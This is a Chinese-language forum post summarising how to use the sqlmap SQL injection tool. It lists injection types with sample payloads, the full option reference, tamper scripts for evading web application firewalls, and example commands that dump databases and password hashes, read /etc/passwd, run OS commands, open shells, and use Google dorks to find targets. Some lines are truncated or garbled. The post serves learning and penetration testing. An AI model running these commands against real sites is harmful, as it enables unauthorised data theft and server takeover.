Oslo / 2019-08-16 09:27:00 / 浏览数 4374 安全技术 WEB安全 顶(2) 踩(0)

Sqlmap使用的小小总结QAQ

写在前面

最近在学习使用Sqlmap,看了很多文章,很多很杂,所以自己写一个小小的使用总结

如有不对请多多包涵:P

先了解

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP

MaxDB......SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提

当给Sqlmap一个url跑的时候,它会:

- 1.判断注入时选择的参数
- 2.判断识别出使用的那种数据库
- 3.判断注入时使用何种sql注入技术来进行注入
- 4.根据用户的选择需要,获取相应的需要的数据

Sqlmap支持的五种sql注入:

- 1.基于报错的sql注入
- 1) floor报错注入

经典floor报错注入语句:

- ■1■select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
- $\blacksquare 2 \blacksquare select \ count(*), concat(database(), floor(rand(0)*2))x \ from \ information_schema.tables \ group \ by \ x$

2) UpdateXml报错注入

mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database()
ERROR 1105 (HY000): XPATH syntax error: '~users'

获取字段名和内容的命令格式类似

3) ExtractValue报错注入

mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit ERROR 1105 (HY000): XPATH syntax error: '\users'

2.基于布尔的注入

通过构造sql语句,通过判断语句是否执行成功来对数据进行猜解。

查看表名:

 $\verb|select table_name from information_schema.tables where table_schema=database() limit 0,1;\\$

无论输入什么只有正确和错误的,那么就可以判断是基于布尔的注入

3.基于时间的盲注

基于的原理是,当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0.但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0。但mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)■

与基于布尔注入相比,基于时间的盲注使用了if语句来进行判断

4.联合查询注入 (union injection)

联合查询注入的前提条件是页面上有显示为位,在可以使用union的情况下进行联合查询注入

联合注入的过程:

- 1、判断注入点
- 2、判断是整型还是字符型
- 3、判断查询列数
- 4、判断显示位
- 5、获取所有数据库名
- 6、获取数据库所有表名
- 7、获取字段名
- 8、获取字段中的数据
- 5. 堆查询注入 (stack injection)

堆查询注入也称为堆叠注入,通过添加一个新的查询或者终止查询,可以达到修改数据和调用存储过程的目的,

可以同时执行多条语句的执行时的注入。

安装Sqlmap

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-test

Sqlmap选项 (Options)

- -version 显示程序的版本号并退出
- -h, -help 显示此帮助消息并退出
- -v VERBOSE 详细级别: 0-6 (默认为 1)

Target(目标):

以下至少需要设置其中一个选项,设置目标 URL。

- -d DIRECT 直接连接到数据库。
- -u URL, -url=URL 目标 URL。
- -I LIST 从 Burp 或 WebScarab 代理的日志中解析目标。
- -r REQUESTFILE 从一个文件中载入 HTTP 请求。
- -g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。
- -c CONFIGFILE 从 INI 配置文件中加载选项。

Request (请求)::

这些选项可以用来指定如何连接到目标 URL。

- -data=DATA 通过 POST 发送的数据字符串
- -cookie=COOKIE HTTP Cookie 头
- -cookie-urlencode URL 编码生成的 cookie 注入
- -drop-set-cookie 忽略响应的 Set -Cookie 头信息
- -user-agent=AGENT 指定 HTTP User -Agent 头
- -random-agent 使用随机选定的 HTTP User-Agent 头
- -referer=REFERER 指定 HTTP Referer 头
- -headers=HEADERS 换行分开,加入其他的 HTTP 头
- -auth-type=ATYPE HTTP 身份验证类型 (基本 , 摘要或 NTLM) (Basic, Digest or NTLM)
- -auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
- -auth-cert=ACERT HTTP 认证证书 (key_file , cert_file)
- -proxy=PROXY 使用 HTTP 代理连接到目标 URL
- -proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
- -ignore-proxy 忽略系统默认的 HTTP 代理
- -delay=DELAY 在每个 HTTP 请求之间的延迟时间,单位为秒
- -timeout=TIMEOUT 等待连接超时的时间 (默认为 30 秒)
- -retries=RETRIES 连接超时后重新连接的时间 (默认 3)
- -scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
- -safe-url=SAFURL 在测试过程中经常访问的 url 地址
- -safe-freq=SAFREQ 两次访问之间测试请求,给出安全的 URL

Optimization (优化):

这些选项可用于优化 sqlmap.py 的性能。

- -o 开启所有优化开关
- -predict-output 预测常见的查询输出
- -keep-alive 使用持久的 HTTP(S) 连接
- -null-connection 从没有实际的 HTTP 响应体中检索页面长度
- -threads=THREADS 最大的 HTTP(S) 请求并发量 (默认为 1)

Injection (注入):

这些选项可以用来指定测试哪些参数,提供自定义的注入 payloads 和可选篡改脚本。

- -p TESTPARAMETER 可测试的参数
- -dbms=DBMS 强制后端的 DBMS 为此值
- -os=OS 强制后端的 DBMS 操作系统为这个值
- -prefix=PREFIX 注入 payload 字符串前缀
- -suffix=SUFFIX 注入 payload 字符串后缀
- -tamper=TAMPER 使用给定的脚本篡改注入数据
- -tamper 通过编码绕过 WEB 防火墙 (WAF) sqlmap.py 默认用 char()
- -tamper 插件所在目录 \ sqlmap-dev\tamper
- 1. apostrophemask.py 用 UTF-8 全角字符替换单引号字符
- 2. apostrophenullencode.py 用非法双字节 unicode 字符替换单引号字符
- 3. appendnullbyte.py 在 payload 末尾添加空字符编码
- 4. base64encode.py 对给定的 payload 全部字符使用 Base64 编码
- 5. between.py 分别用 "NOT BETWEEN 0 AND #" 替换大于号 ">", "BETWEEN # AND #" 替换等于号"="
- 6. bluecoat.py 在 SQL 语句之后用有效的随机空白符替换空格符,随后用 "LIKE" 替换等于号"="
- 7. chardoubleencode.py 对给定的 payload 全部字符使用双重 URL 编码 (不处理已经编码的字符)
- 8. charencode.py 对给定的 payload 全部字符使用 URL 编码 (不处理已经编码的字符)
- 9. charunicodeencode.py 对给定的 payload 的非编码字符使用 Unicode URL 编码 (不处理已经编码的字符)
- 10. concat2concatws.py 用 "CONCAT_WS(MID(CHAR(0), 0, 0), A, B)" 替换像 "CONCAT(A, B)" 的实例
- 11. equaltolike.py 用 "LIKE" 运算符替换全部等于号"="
- 12. greatest.py 用 "GREATEST" 函数替换大于号">"
- 13. halfversionedmorekeywords.py 在每个关键字之前添加 MySQL 注释
- 14. ifnull2ifisnull.py 用 "IF(ISNULL(A), B, A)" 替换像 "IFNULL(A, B)" 的实例
- 15. lowercase.py 用小写值替换每个关键字字符
- 16. modsecurityversioned.py 用注释包围完整的查询
- 17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
- 18. multiplespaces.py 在 SQL 关键字周围添加多个空格
- 19. nonrecursivereplacement.py 用 representations 替换预定义 SQL 关键字,适用于过滤器
- 20. overlongutf8.py 转换给定的 payload 当中的所有字符
- 21. percentage.py 在每个字符之前添加一个百分号
- 22. randomcase.py 随机转换每个关键字字符的大小写
- 23. randomcomments.py 向 SQL 关键字中插入随机注释
- 24. securesphere.py 添加经过特殊构造的字符串
- 25. sp_password.py 向 payload 末尾添加 "sp_password" for automatic obfuscation from DBMS logs
- 26. space2comment.py 用 "/**/" 替换空格符
- 27. space2dash.py 用破折号注释符 "--" 其次是一个随机字符串和一个换行符替换空格符
- 28. space2hash.py 用磅注释符 "#" 其次是一个随机字符串和一个换行符替换空格符
- 29. space2morehash.py 用磅注释符 "#" 其次是一个随机字符串和一个换行符替换空格符
- 30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
- 31. space2mssqlhash.py 用磅注释符 "#" 其次是一个换行符替换空格符
- 32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
- 33. space2mysqldash.py 用破折号注释符 "--" 其次是一个换行符替换空格符
- 34. space2plus.py 用加号 "+" 替换空格符
- 35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
- 36. unionalltounion.py 用 "UNION SELECT" 替换"UNION ALL SELECT"
- 37. unmagicquotes.py 用一个多字节组合 %bf%27 和末尾通用注释一起替换空格符
- 38. varnish.py 添加一个 HTTP 头 "X-originating-IP" 来绕过 WAF
- 39. versionedkeywords.py 用 MySQL 注释包围每个非函数关键字
- 40. versionedmorekeywords.py 用 MySQL 注释包围每个关键字
- 41. xforwardedfor.py 添加一个伪造的 HTTP 头 "X-Forwarded-For" 来绕过 WAF

Detection (检测):

这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。

- -level=LEVEL 执行测试的等级 (1-5, 默认为 1)
- -risk=RISK 执行测试的风险 (0-3, 默认为 1)
- -string=STRING 查询有效时在页面匹配字符串
- -regexp=REGEXP 查询有效时在页面匹配正则表达式
- -text-only 仅基于文本内容比较网页

这些选项可用于调整具体的 SQL 注入测试。

-technique=TECH SQL 注入技术测试(默认 BEUST)

Techniques (技巧):

- -technique /* 测试指定注入类型 \ 使用的技术
- 不加参数默认测试所有注入技术:
- B: 基于布尔的 SQL 盲注
- E: 基于显错 sql 注入
- U: 基于 UNION 注入
- S: 叠层 sql 注入
- T: 基于时间盲注
- -time-sec=TIMESEC DBMS 响应的延迟时间 (默认为 5 秒)
- -union-cols=UCOLS 定列范围用于测试 UNION 查询注入
- -union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint (指纹):

-f, -fingerprint 执行检查广泛的 DBMS 版本指纹

Enumeration (枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的 SQL 语句。

- -b, -banner 检索数据库管理系统的标识
- -current-user 检索数据库管理系统当前用户
- -current-db 检索数据库管理系统当前数据库
- -is-dba 检测 DBMS 当前用户是否 DBA
- -users 枚举数据库管理系统用户
- -passwords 枚举数据库管理系统用户密码哈希
- -privileges 枚举数据库管理系统用户的权限
- -roles 枚举数据库管理系统用户的角色
- -dbs 枚举数据库管理系统数据库
- -tables 枚举 DBMS 数据库中的表
- -columns 枚举 DBMS 数据库表列
- -dump 转储数据库管理系统的数据库中的表项
- -dump-all 转储所有的 DBMS 数据库表中的条目
- -search 搜索列,表和/或数据库名称
- -D DB 要进行枚举的数据库名
- -T TBL 要进行枚举的数据库表
- -C COL 要进行枚举的数据库列
- -U USER 用来进行枚举的数据库用户 -exclude-sysdbs 枚举表时排除系统数据库
- -start=LIMITSTART 第一个查询输出进入检索
- -stop=LIMITSTOP 最后查询的输出进入检索
- -first=FIRSTCHAR 第一个查询输出字的字符检索
- -last=LASTCHAR 最后查询的输出字字符检索
- -sql-query=QUERY 要执行的 SQL 语句
- -sql-shell 提示交互式 SQL 的 shell

Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

- -common-tables 检查存在共同表
- -common-columns 检查存在共同列

User-defined function injection (用户自定义函数注入):

这些选项可以用来创建用户自定义函数。

- -udf-inject 注入用户自定义函数
- -shared-lib=SHLIB 共享库的本地路径

File system access (访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

- -file-read=RFILE 从后端的数据库管理系统文件系统读取文件
- -file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
- -file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

```
Operating system access (操作系统访问):
这些选项可以用于访问后端数据库管理系统的底层操作系统。
-os-cmd=OSCMD 执行操作系统命令
-os-shell 交互式的操作系统的 shell
-os-pwn 获取一个 OOB shell, meterpreter 或 VNC
-os-smbrelay 一键获取一个 OOB shell, meterpreter 或 VNC
-os-bof 存储过程缓冲区溢出利用
-priv-esc 数据库进程用户权限提升
-msf-path=MSFPATH Metasploit Framework 本地的安装路径
-tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows 注册表访问:
这些选项可以被用来访问后端数据库管理系统 Windows 注册表。
-reg-read 读一个 Windows 注册表项值
-reg-add 写一个 Windows 注册表项值数据
-reg-del 删除 Windows 注册表键值
-reg-key=REGKEY Windows 注册表键
-reg-value=REGVAL Windows 注册表项值
-reg-data=REGDATA Windows 注册表键值数据
-reg-type=REGTYPE Windows 注册表项值类型
General (一般):
这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
-flush-session 刷新当前目标的会话文件
-fresh-queries 忽略在会话文件中存储的查询结果
-eta 显示每个输出的预计到达时间
-update 更新 SqlMap
-save file 保存选项到 INI 配置文件
-batch 从不询问用户输入,使用所有默认配置。
Miscellaneous ( 杂项 ):
-beep 发现 SQL 注入时提醒
-check-payload IDS 对注入 payloads 的检测测试
-cleanup sqlmap.py 具体的 UDF 和表清理 DBMS
-forms 对目标 URL 的解析和测试形式
-gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果
-page-rank Google dork 结果显示网页排名 (PR)
-parse-errors 从响应页面解析数据库管理系统的错误消息
-replicate 复制转储的数据到一个 sqlite3 数据库
-tor 使用默认的 Tor ( Vidalia/ Privoxy/ Polipo ) 代理地址
-wizard 给初级用户的简单向导界面
Sqlmap基础的使用
./sglmap.py sglmap -u "http://www.xxx.com" // 查是否有注入,一些基本信息
./sqlmap.py -u "http://www.xxx.com" --dbs // 枚举数据库
./sqlmap.py sqlmap -u "http://www.xxx.com" --tables // 表名枚举
./sglmap.py sglmap -u "http://www.xxx.com" --columns -T 数据库表名 // 字段枚举
./sqlmap.py sqlmap -u "http://www.xxx.com" --dump -T 数据库表名 -C "字段 1 , 字段 2 , 字段 3" //dump
./sqlmap.py -u "<u>http://www.xxx.com</u>" --dump -D 数据库名 -T 表名 -C "字段名 1 , 字段名 2 , 字段名 3" //dump
获取数据库—> 获取表名—-> 获取字段名—-> 获取数据库内容
Sqlmap初级使用
sqlmap.py -u "http://url/news?id=1" -dbs / 查询是什么数据库sqlmap.py -u "http://url/news?id=1" -current-db / 获取当前数据库名称
sqlmap.py -u "http://url/news?id=1" -current-user / 获取当前用户名称sqlmap.py -u "http://url/news?id=1" -D DataName -tables / 获取 DataName
数据库的表
sqlmap.py -u "http://url/news?id=1" -columns -T "tablename" users-D "db_name" -v 0 /* 列字段
sqlmap.py -u "http://url/news?id=1" -D DataName -T TableNamen -C "admin,password" -dump -v 0 / 获取字段数据sqlmap.py -u
"http://url/news?id=1" -dbms "Mysql" / 指定数据库类型
sqlmap.py -u "http://url/news?id=1" -users / 列数据库用户sqlmap.py -u "http://url/news?id=1" -passwords / 获取数据库用户密码
```

```
sqlmap.py -u "http://url/news?id=1" -passwords -U root -v 0 / 列出指定用户数据库密码sqlmap.py -u "http://url/news?id=1" -dump -C
"password,user,id" -T "tablename" -D "db_name" -start 1 -stop 20 / 列出指定字段 , 列出 20 条
sqlmap.py -u "http://url/news?id=1"_-dump-all -v 0 / 列出所有数据库所有表sqlmap.py -u "http://url/news?id=1"_-privileges / 查看权限
sqlmap.py -u "http://url/news?id=1"_privileges -U root / 查看指定用户权限sqlmap.py -u "http://url/news?id=1"_is-dba -v 1 / 是否是数据库管理员
sqlmap.py -u "http://url/news?id=1"_-roles / 枚举数据库用户角色sqlmap.py -u "http://url/news?id=1"_-udf-inject / 导入用户自定义函数 ( 获取
系统权限!)
sqlmap.py -u "http://url/news?id=1" -dump-all -exclude-sysdbs -v 0 / 列出当前库所有表sqlmap.py -u "http://url/news?id=1" -union-cols /union
查询表记录
sqlmap.py -u "http://url/news?id=1" -cookie "COOKIE_VALUE" /cookie 注入sqlmap.py -u "http://url/news?id=1" -b(-banner) / 获取 banner 信息
sqlmap.py -u "http://url/news?id=1" -data "id=3" /post 注入sqlmap.py -u "http://url/news?id=1" -v 1 -f / 指纹判别数据库类型
sqlmap.py -u "http://url/news?id=1"_-proxy "http://127.0.0.1:8118" / 代理注入sqlmap.py -u "http://url/news?id=1"_-string "STRING_ON_TRUE_PAGE" /
sqlmap.py -u "<u>http://url/news?id=1"</u>-sql-shell / 执行指定 sql 命令sqlmap.py -u "<u>http://url/news?id=1"</u>-file /etc/passwdsqlmap.py -u
"http://url/news?id=1"_-os-cmd=whoami / 执行系统命令
sqlmap.py -u "http://url/news?id=1" -os-shell / 系统交互 shellsqlmap.py -u "http://url/news?id=1" -os-pwn / 反弹 shell
sqlmap.py -u "<u>http://url/news?id=1"</u>-reg-read / 读取 win 系统注册表sqlmap.py -u "<u>http://url/news?id=1"</u>--dbs-o "sqlmap.log"/ 保存进度
sqlmap.py -u "http://url/news?id=1"_-dbs -o "sqlmap.log" -resume /* 恢复 已保存进度
Sqlmap使用进阶
利用Cookies
```

cookie "id=9"

在 ASP 中, request 对象获取客户端提交数据常用的是 get 和 post 两种方式, 同时 request 对象可以不通过集合来获得数据, 即直接使用"request("name")". 但它效率低下,容易出错,当我们省略具体的集合名称时, asp 是按 QueryString(get), Form(post), Cookie, Severvariable,集合的顺序来搜索的. cookie 是保存在客户端的一个文本文件,可以进行修改,这样一来,就可以利用 Request.cookie 方式来提交变量的值,从而利用系统的漏洞进行注入攻击

Sqlmap表单的使用

```
表单枚举
./sqlmap.py -u "<u>http://www.xxx.com</u>" --forms
指定表单数据
./sqlmap.py -u "<u>http://www.xxx.com</u>" --data "tfUName=1&UPass=1"
burpsuite 抓包与构造 request 请求
./sqlmap.py -r search_test.py -p tfUPass
交互式shell的使用(可提权)
./sqlmap.py -u "http://www.xxx.com" --os-cmd "ipconfig"
./sqlmap.py -u "http://www.xxx.com" --os-shell
./sqlmap.py -u "<u>http://www.xxx.com</u>" --os-pwn
./sqlmap.py -u "http://www.xxx.com" --sql-shell
```

配合Google Hacking使用

-p name / 多个参数如 index.php?n_id=1&name=2&data=2020 我们想指定 name 参数进行注入sqlmap.py -g "site:xxxxx.com inurl:php?id=" -dump-all -batch /google 搜索注入点自动跑出所有字段, 需保证 google.com 能正常访问

WAF绕过

- --batch Never ask for user input, use the default behaviour
- --tamper=TAMPER Use given script(s) for tampering injection data

常见 encoder: space2hash.py, space2morehash.py, base64encode.py, charencode.py

例子:

./sqlmap.py -u "http://www.xxx.com" -v 3 --dbs --batch --tamper "space2hash.py"

智能level测试等级

sqlmap.py -u "http://www.2cto.com /news?id=1" -smart -level 3 -users /*smart 智能 level 测试等级

基本信息收集的SQL语句

oracle

```
`select table_name,row_nums from user_tables order by row_nums desc [where table_name like '%%']■■■10■select * from [table_name table_name like '%%']
mysql
`select table_name from information_schema.tables [where table_name like '%%']■■■10■select * from [table_name] limit 10`
Sqlserver
`select a.name,b.rows from sysobjects a with(nolock) join sysindexes b on b.id=a.id where a.xtype='u' and b.indid in (0,1) ord
Sqlmap盲注过程相关的函数及使用方法
mid()
--从文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name;
column_name:要提取字符串的字段内容
start:必需,规定起始位置(值为1)
length可选,代表长度;如果省略,则返回剩余的文本内容
mysql> select mid(adnumber,1,2)from address_list;
mid(adnumber,1,2)
31
31
                  31
                  31
31
5 rows in set (0.01 sec)
mysql> select mid(adnumber,1,3)from address_list;
| mid(adnumber,1,3) |
311
311
311
311
311
5 rows in set (0.00 sec)
mysql> select mid(adnumber,2,3)from address_list;
+----+
mid(adnumber,2,3)
| 117
| 117
| 117
| 117
```

| 117 | |-----

5 rows in set (0.00 sec)

limit()

--返回前几条或者中间某几行数据

select * from table limit m,n;

从第m条记录开始返回n条记录

mysql> select * from user limit 1,2;

++-		+	+	+	+	H
id	username	password	number	classinfo	createdata	
++-		+	+	+	+	+
82	5555	123456	311700	177777	2019-07-06 20:45:50	

```
| 83 | 9999 | 123456 | 311700 | 1777777 | 2019-07-06 20:46:14 |
2 \text{ rows in set } (0.00 \text{ sec})
mysql> select * from user limit 1,3;
| id | username | password | number
                               | classinfo | createdata
           | 123456 | 3117
                              | 1777777 | 2019-07-06 20:45:50 |
82 | 5555
| 83 | 9999 | 123456 | 311700 | 1777777 | 2019-07-06 20:46:14 |
3 rows in set (0.00 sec)
concat, concat_ws, group_concat
concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL
mysql> select concat('123',null);
| concat('123',null) |
1 \text{ row in set } (0.00 \text{ sec})
mysql> select concat('123','123456');
| concat('123','123456') |
+----+
1 row in set (0.00 sec)
concat_ws函数在执行的时候,不会因为NULL值而返回NULL
mysql> select concat_ws('123',null);
concat_ws('123',null) |
+----+
1 row in set (0.00 sec)
mysql> select concat_ws('123','456789');
+----+
| concat_ws('123','456789') |
| 456789
+----+
1 row in set (0.00 sec)
mysql> select concat_ws('.','123','456789');
+----+
| concat_ws('.','123','456789') |
+----+
123.456789
+----+
1 row in set (0.00 sec)
Count()
--聚集函数,统计元祖的个数
mysql> select count(*) from user;
| count(*) |
+----+
1 row in set (0.00 sec)
```

rand()

--用于产生一个0~1的随机数

```
mysgl> select rand(),rand();
+----+
            rand()
rand()
0.4360487893559493 | 0.24646534328019745 |
+----
1 row in set (0.00 sec)
group by
--依据我们想要的规则对结果进行分组
mysql> select * from user group by username;
| id | username | password | number | classinfo | createdata |
+---+

    | 82 | 5555
    | 123456 | 311700
    | 11111111
    | 2019-07-06 20:45:50 |

    | 83 | 9999
    | 123456 | 311700
    | 1111111
    | 2019-07-06 20:46:14 |

    | 81 | ■ | | 123456 | 311700
    | 1111111 | 2019-07-06 20:28:13 |

    | 84 | ■ | | 123456 | 311700
    | 1111111 | 2019-07-06 20:46:50 |

+---+
4 rows in set (0.00 sec)
length()
--返回字符串的长度
mysql> select length('xianzhi');
+----+
| length('xianzhi') |
+----+
1 row in set (0.00 sec)
mysql> select * from user where length(username)=4;
+---+
2 rows in set (0.00 sec)
Substr()
--截取字符串
三个参数 (所要截取字符串,截取的位置,截取的长度)
mysql> select substr('abcdefghijk',4,8);
+----+
substr('abcdefghijk',4,8)
+----+
defghijk
+----+
1 row in set (0.00 sec)
mysql> select substr(username,1,2)from user;
+----+
substr(username,1,2)
+-----
55
99
+----+
```

Ascii()

--返回字符串的ascii码

4 rows in set (0.00 sec)

参考资料

点击收藏 | 3 关注 | 1

<u>上一篇:GPS卫星信号劫持</u>下一篇:逆向学习之画堆栈图一

- 1. 0 条回复
 - 动动手指,沙发就是你的了!

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板